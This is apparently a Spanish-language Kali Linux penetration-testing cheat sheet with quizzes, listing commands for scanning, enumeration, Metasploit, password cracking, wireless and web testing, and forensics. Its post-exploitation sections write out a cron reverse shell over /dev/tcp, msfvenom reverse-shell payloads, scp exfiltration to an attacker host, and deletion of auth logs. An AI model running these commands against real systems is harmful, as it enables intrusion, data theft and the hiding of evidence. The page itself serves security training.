Hoja de trucos de comandos Kali

Practica comandos Kali con laboratorios prácticos

Use esta hoja de trucos de comandos Kali como referencia rápida para flujos de pruebas de penetración. Cubre configuración del sistema, escaneo de red, enumeración, evaluación de vulnerabilidades, Metasploit, SQLmap, ataques de contraseñas, pruebas web, herramientas inalámbricas, forense, informes y auditoría responsable.

Configuración y Puesta a Punto del Sistema

Configuración Inicial: sudo apt update

Actualice los paquetes y repositorios del sistema para un rendimiento óptimo.

# Actualizar repositorio de paquetes
sudo apt update
# Actualizar paquetes instalados
sudo apt upgrade
# Actualización completa del sistema
sudo apt full-upgrade
# Instalar herramientas esenciales
sudo apt install curl wget git

Gestión de Usuarios: sudo useradd

Cree y gestione cuentas de usuario para pruebas de seguridad.

# Añadir nuevo usuario
sudo useradd -m username
# Establecer contraseña
sudo passwd username
# Añadir usuario al grupo sudo
sudo usermod -aG sudo username
# Cambiar de usuario
su - username

Gestión de Servicios: systemctl

Controle los servicios y demonios del sistema para escenarios de prueba.

# Iniciar servicio
sudo systemctl start apache2
# Detener servicio
sudo systemctl stop apache2
# Habilitar servicio al arranque
sudo systemctl enable ssh
# Comprobar estado del servicio
sudo systemctl status postgresql

Configuración de Red: ifconfig

Configure las interfaces de red para pruebas de penetración.

# Mostrar interfaces de red
ifconfig
# Configurar dirección IP
sudo ifconfig eth0 192.168.1.100
# Poner interfaz arriba/abajo
sudo ifconfig eth0 up
# Configurar interfaz inalámbrica
sudo ifconfig wlan0 up

Variables de Entorno: export

Configure variables de entorno y rutas para el entorno de prueba.

# Establecer IP objetivo
export TARGET=192.168.1.1
# Establecer ruta de la lista de palabras
export WORDLIST=/usr/share/wordlists/rockyou.txt
# Ver variables de entorno
env | grep TARGET
Quiz

Inicia sesión para responder este quiz y rastrear tu progreso de aprendizaje

¿Qué sucede con las variables de entorno establecidas con export?
Persisten a través de reinicios del sistema
Solo están disponibles en el archivo actual
Están disponibles para el shell actual y los procesos hijos
Son variables globales del sistema

Instalación de Herramientas: apt install

Instale herramientas de seguridad adicionales y dependencias.

# Instalar herramientas adicionales
sudo apt install nmap wireshark burpsuite
# Instalar desde GitHub
git clone https://github.com/tool/repo.git
# Instalar herramientas de Python
pip3 install --user tool-name

Descubrimiento y Escaneo de Red

Descubrimiento de Hosts: nmap -sn

Identifique hosts activos en la red utilizando barridos de ping.

# Barrido de ping
nmap -sn 192.168.1.0/24
# Escaneo ARP (red local)
nmap -PR 192.168.1.0/24
# Escaneo de eco ICMP
nmap -PE 192.168.1.0/24
# Descubrimiento rápido de hosts
masscan --ping 192.168.1.0/24

Escaneo de Puertos: nmap

Escanee puertos abiertos y servicios en ejecución en sistemas objetivo.

# Escaneo TCP básico
nmap 192.168.1.1
# Escaneo agresivo
nmap -A 192.168.1.1
# Escaneo UDP
nmap -sU 192.168.1.1
# Escaneo SYN sigiloso
nmap -sS 192.168.1.1
Quiz

Inicia sesión para responder este quiz y rastrear tu progreso de aprendizaje

¿Qué hace nmap -sS?
Realiza un escaneo UDP
Realiza un escaneo SYN sigiloso (escaneo medio abierto)
Escanea todos los puertos
Realiza detección de SO

Enumeración de Servicios: nmap -sV

Identifique versiones de servicios y vulnerabilidades potenciales.

# Detección de versión
nmap -sV 192.168.1.1
# Detección de SO
nmap -O 192.168.1.1
Quiz

Inicia sesión para responder este quiz y rastrear tu progreso de aprendizaje

¿Qué hace nmap -sV?
Detecta versiones de servicios en puertos abiertos
Escanea solo puertos de control de versión
Muestra solo servicios vulnerables
Realiza solo detección de SO
# Escaneo con scripts nmap -sC 192.168.1.1 # Escaneo exhaustivo nmap -sS -sV -O -A 192.168.1.1 ```

Recopilación de Información y Reconocimiento

Enumeración DNS: dig

Recopile información DNS y realice transferencias de zona.

# Búsqueda DNS básica
dig example.com
# Búsqueda DNS inversa
dig -x 192.168.1.1
# Intento de transferencia de zona
dig @ns1.example.com example.com axfr
# Enumeración DNS
dnsrecon -d example.com

Reconocimiento Web: dirb

Descubra directorios y archivos ocultos en servidores web.

# Fuerza bruta de directorios
dirb http://192.168.1.1
# Lista de palabras personalizada
dirb http://192.168.1.1 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Alternativa Gobuster
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Información WHOIS: whois

Recopile información de registro y propiedad de dominios.

# Búsqueda WHOIS
whois example.com
# WHOIS de IP
whois 8.8.8.8
# Recopilación de información exhaustiva
theharvester -d example.com -l 100 -b google

Análisis SSL/TLS: sslscan

Analice la configuración y vulnerabilidades de SSL/TLS.

# Escaneo SSL
sslscan 192.168.1.1:443
# Análisis exhaustivo con testssl
testssl.sh https://example.com
# Información del certificado SSL
openssl s_client -connect example.com:443

Enumeración SMB: enum4linux

Enumere recursos compartidos SMB e información NetBIOS.

# Enumeración SMB
enum4linux 192.168.1.1
# Listar recursos compartidos SMB
smbclient -L //192.168.1.1
# Conectarse a recurso compartido
smbclient //192.168.1.1/share
# Escaneo de vulnerabilidades SMB
nmap --script smb-vuln* 192.168.1.1

Enumeración SNMP: snmpwalk

Recopile información del sistema a través del protocolo SNMP.

# SNMP walk
snmpwalk -c public -v1 192.168.1.1
# Comprobación SNMP
onesixtyone -c community.txt 192.168.1.1
# Enumeración SNMP
snmp-check 192.168.1.1

Análisis de Vulnerabilidades y Explotación

Escaneo de Vulnerabilidades: nessus

Identifique vulnerabilidades de seguridad utilizando escáneres automatizados.

# Iniciar servicio Nessus
sudo systemctl start nessusd
# Escaneo OpenVAS
openvas-start
# Escáner de vulnerabilidades web Nikto
nikto -h http://192.168.1.1
# SQLmap para inyección SQL
sqlmap -u "http://example.com/page.php?id=1"

Framework Metasploit: msfconsole

Lance exploits y gestione campañas de pruebas de penetración.

# Iniciar Metasploit
msfconsole
# Buscar exploits
search ms17-010
# Usar exploit
use exploit/windows/smb/ms17_010_eternalblue
# Establecer host remoto
set RHOSTS 192.168.1.1

Pruebas de Desbordamiento de Búfer: pattern_create

Genere patrones para la explotación de desbordamiento de búfer.

# Crear patrón
pattern_create.rb -l 400
# Encontrar desplazamiento
pattern_offset.rb -l 400 -q EIP_value

Desarrollo de Exploits Personalizados: msfvenom

Cree cargas útiles personalizadas para objetivos específicos.

# Generar shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
# Shell inverso de Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > shell.exe
# Shell inverso de Linux
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > shell.elf

Ataques de Contraseñas y Pruebas de Credenciales

Ataques de Fuerza Bruta: hydra

Realice ataques de fuerza bruta de inicio de sesión contra varios servicios.

# Fuerza bruta SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
# Fuerza bruta de formulario HTTP
hydra -l admin -P passwords.txt 192.168.1.1 http-form-post "/login:username=^USER^&password=^PASS^:Invalid"
# Fuerza bruta FTP
hydra -L users.txt -P passwords.txt ftp://192.168.1.1

Descifrado de Hashes: hashcat

Descifre hashes de contraseñas utilizando aceleración por GPU.

# Descifrado de hash MD5
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# Descifrado de hash NTLM
hashcat -m 1000 -a 0 ntlm.hash wordlist.txt
# Generar variaciones de lista de palabras
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule wordlist.txt

John the Ripper: john

Descifrado de contraseñas tradicional con varios modos de ataque.

# Descifrar archivo de contraseñas
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
# Mostrar contraseñas descifradas
john --show shadow.txt
# Modo incremental
john --incremental shadow.txt
# Reglas personalizadas
john --rules --wordlist=passwords.txt shadow.txt

Generación de Listas de Palabras: crunch

Cree listas de palabras personalizadas para ataques dirigidos.

# Generar lista de palabras de 4 a 8 caracteres
crunch 4 8 -o wordlist.txt
# Conjunto de caracteres personalizado
crunch 6 6 -t admin@ -o passwords.txt
# Generación basada en patrones
crunch 8 8 -t @@@@%%%% -o mixed.txt

Pruebas de Seguridad de Redes Inalámbricas

Configuración del Modo Monitor: airmon-ng

Configure el adaptador inalámbrico para la captura de paquetes e inyección.

# Habilitar modo monitor
sudo airmon-ng start wlan0
# Comprobar procesos interferentes
sudo airmon-ng check kill
# Detener modo monitor
sudo airmon-ng stop wlan0mon

Descubrimiento de Redes: airodump-ng

Descubra y monitoree redes inalámbricas y clientes.

# Escanear todas las redes
sudo airodump-ng wlan0mon
# Dirigirse a una red específica
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Mostrar solo redes WEP
sudo airodump-ng --encrypt WEP wlan0mon

Ataques WPA/WPA2: aircrack-ng

Realice ataques contra redes cifradas WPA/WPA2.

# Ataque de desautenticación
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Descifrar handshake capturado
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
# Ataque WPS con Reaver
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

Ataque de Doble Trampa (Evil Twin): hostapd

Cree puntos de acceso no autorizados para la recolección de credenciales.

# Iniciar AP no autorizado
sudo hostapd hostapd.conf
# Servicio DHCP
sudo dnsmasq -C dnsmasq.conf
# Capturar credenciales
ettercap -T -M arp:remote /192.168.1.0/24//

Pruebas de Seguridad de Aplicaciones Web

Pruebas de Inyección SQL: sqlmap

Detección y explotación automatizadas de inyección SQL.

# Prueba básica de inyección SQL
sqlmap -u "http://example.com/page.php?id=1"
# Probar parámetros POST
sqlmap -u "http://example.com/login.php" --data="username=admin&password=test"
# Extraer base de datos
sqlmap -u "http://example.com/page.php?id=1" --dbs
# Volcar tabla específica
sqlmap -u "http://example.com/page.php?id=1" -D database -T users --dump

Cross-Site Scripting: xsser

Pruebe vulnerabilidades XSS en aplicaciones web.

# Pruebas XSS
xsser --url "http://example.com/search.php?q=XSS"
# Detección automatizada de XSS
xsser -u "http://example.com" --crawl=10
# Carga útil personalizada
xsser --url "http://example.com" --payload="<script>alert(1)</script>"

Integración con Burp Suite: burpsuite

Plataforma integral de pruebas de seguridad de aplicaciones web.

# Iniciar Burp Suite
burpsuite
# Configurar proxy (127.0.0.1:8080)
# Configurar el proxy del navegador para capturar tráfico
# Usar Intruder para ataques automatizados
# Usar Spider para descubrimiento de contenido

Recorrido de Directorios: wfuzz

Pruebe vulnerabilidades de recorrido de directorios e inclusión de archivos.

# Fuerza bruta de directorios
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://192.168.1.1/FUZZ
# Fuerza bruta de parámetros
wfuzz -c -z file,payloads.txt "http://example.com/page.php?file=FUZZ"

Post-Explotación y Escalada de Privilegios

Enumeración del Sistema: linpeas

Enumeración automatizada de escalada de privilegios para sistemas Linux.

# Descargar LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# Hacer ejecutable
chmod +x linpeas.sh
# Ejecutar enumeración
./linpeas.sh
# Alternativa para Windows: winPEAS.exe

Mecanismos de Persistencia: crontab

Establecer persistencia en sistemas comprometidos.

# Editar crontab
crontab -e
# Añadir shell inverso
@reboot /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
# Persistencia de clave SSH
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys

Exfiltración de Datos: scp

Transfiera datos de forma segura desde sistemas comprometidos.

# Copiar archivo a la máquina del atacante
scp file.txt user@192.168.1.100:/tmp/
# Comprimir y transferir
tar -czf data.tar.gz /home/user/documents
scp data.tar.gz attacker@192.168.1.100:/tmp/
# Exfiltración HTTP
python3 -m http.server 8000

Cubrir Huellas: history

Elimine evidencia de actividades en sistemas comprometidos.

# Borrar historial de bash
history -c
unset HISTFILE
# Borrar entradas específicas
history -d line_number
# Borrar registros del sistema
sudo rm /var/log/auth.log*

Forense Digital y Análisis

Creación de Imágenes de Disco: dd

Cree imágenes forenses de dispositivos de almacenamiento.

# Crear imagen de disco
sudo dd if=/dev/sdb of=/tmp/evidence.img bs=4096 conv=noerror,sync
# Verificar integridad de la imagen
md5sum /dev/sdb > original.md5
md5sum /tmp/evidence.img > image.md5
# Montar imagen
sudo mkdir /mnt/evidence
sudo mount -o ro,loop /tmp/evidence.img /mnt/evidence

Recuperación de Archivos: foremost

Recupere archivos eliminados de imágenes de disco o unidades.

# Recuperar archivos de la imagen
foremost -i evidence.img -o recovered/
# Tipos de archivo específicos
foremost -t jpg,png,pdf -i evidence.img -o photos/
# Alternativa PhotoRec
photorec evidence.img

Análisis de Memoria: volatility

Analice volcados de RAM en busca de evidencia forense.

# Identificar perfil del SO
volatility -f memory.dump imageinfo
# Listar procesos
volatility -f memory.dump --profile=Win7SP1x64 pslist
# Extraer proceso
volatility -f memory.dump --profile=Win7SP1x64 procdump -p 1234 -D output/

Análisis de Paquetes de Red: wireshark

Analice capturas de tráfico de red en busca de evidencia forense.

# Iniciar Wireshark
wireshark
# Análisis en línea de comandos
tshark -r capture.pcap -Y "http.request.method==GET"
# Extraer archivos
foremost -i capture.pcap -o extracted/

Generación de Informes y Documentación

Captura de Pantallas: gnome-screenshot

Documente los hallazgos con captura de pantalla sistemática.

# Captura de pantalla completa
gnome-screenshot -f screenshot.png
# Captura de ventana
gnome-screenshot -w -f window.png
# Captura con retardo
gnome-screenshot -d 5 -f delayed.png
# Selección de área
gnome-screenshot -a -f area.png

Gestión de Registros: script

Grabe sesiones de terminal con fines de documentación.

# Iniciar grabación de sesión
script session.log
# Grabar con temporización
script -T session.time session.log
# Reproducir sesión
scriptreplay session.time session.log

Plantillas de Informes: reportlab

Genere informes profesionales de pruebas de penetración.

# Instalar herramientas de informes
pip3 install reportlab
# Generar informe PDF
python3 generate_report.py
# Markdown a PDF
pandoc report.md -o report.pdf

Integridad de la Evidencia: sha256sum

Mantenga la cadena de custodia con hashes criptográficos.

# Generar sumas de verificación
sha256sum evidence.img > evidence.sha256
# Verificar integridad
sha256sum -c evidence.sha256
# Sumas de verificación de múltiples archivos
find /evidence -type f -exec sha256sum {} \; > all_files.sha256

Mantenimiento y Optimización del Sistema

Gestión de Paquetes: apt

Mantenga y actualice los paquetes del sistema y las herramientas de seguridad.

# Actualizar listas de paquetes
sudo apt update
# Actualizar todos los paquetes
sudo apt upgrade
# Instalar herramienta específica
sudo apt install tool-name
# Eliminar paquetes no utilizados
sudo apt autoremove

Actualizaciones del Kernel: uname

Supervise y actualice el kernel del sistema para parches de seguridad.

# Comprobar kernel actual
uname -r
# Listar kernels disponibles
apt list --upgradable | grep linux-image
# Instalar nuevo kernel
sudo apt install linux-image-generic
# Eliminar kernels antiguos
sudo apt autoremove --purge

Verificación de Herramientas: which

Verifique las instalaciones de herramientas y localice ejecutables.

# Localizar herramienta
which nmap
# Comprobar si la herramienta existe
command -v metasploit
# Listar todas las herramientas en el directorio
ls /usr/bin/ | grep -i security

Monitoreo de Recursos: htop

Monitoree los recursos del sistema durante pruebas de seguridad intensivas.

# Visor de procesos interactivo
htop
# Uso de memoria
free -h
# Uso de disco
df -h
# Conexiones de red
netstat -tulnp

Atajos y Alias Esenciales de Kali Linux

Crear Alias: .bashrc

Configure atajos de comandos para ahorrar tiempo en tareas frecuentes.

# Editar bashrc
nano ~/.bashrc
# Alias útiles
alias ll='ls -la'
alias nse='nmap --script-help'
alias target='export TARGET='
alias msf='msfconsole -q'
# Recargar bashrc
source ~/.bashrc

Funciones Personalizadas: function

Cree combinaciones de comandos avanzadas para flujos de trabajo comunes.

# Función de escaneo rápido nmap
function qscan() {
    nmap -sS -sV -O $1
}
# Configuración de pruebas de penetración
function pentest-setup() {
    mkdir -p {recon,scans,exploits,loot}
}

Atajos de Teclado: Terminal

Domine los atajos de teclado esenciales para una navegación más rápida.

# Atajos de terminal
# Ctrl+C - Detener comando actual
# Ctrl+Z - Suspender comando actual
# Ctrl+L - Limpiar pantalla
# Ctrl+R - Buscar en el historial de comandos
# Tab - Autocompletar comandos
# Arriba/Abajo - Navegar por el historial de comandos

Configuración del Entorno: tmux

Configure sesiones de terminal persistentes para tareas de larga duración.

# Iniciar nueva sesión
tmux new-session -s pentest
# Desconectar sesión
# Ctrl+B, D
# Listar sesiones
tmux list-sessions
# Adjuntar a sesión
tmux attach -t pentest

Enlaces Relevantes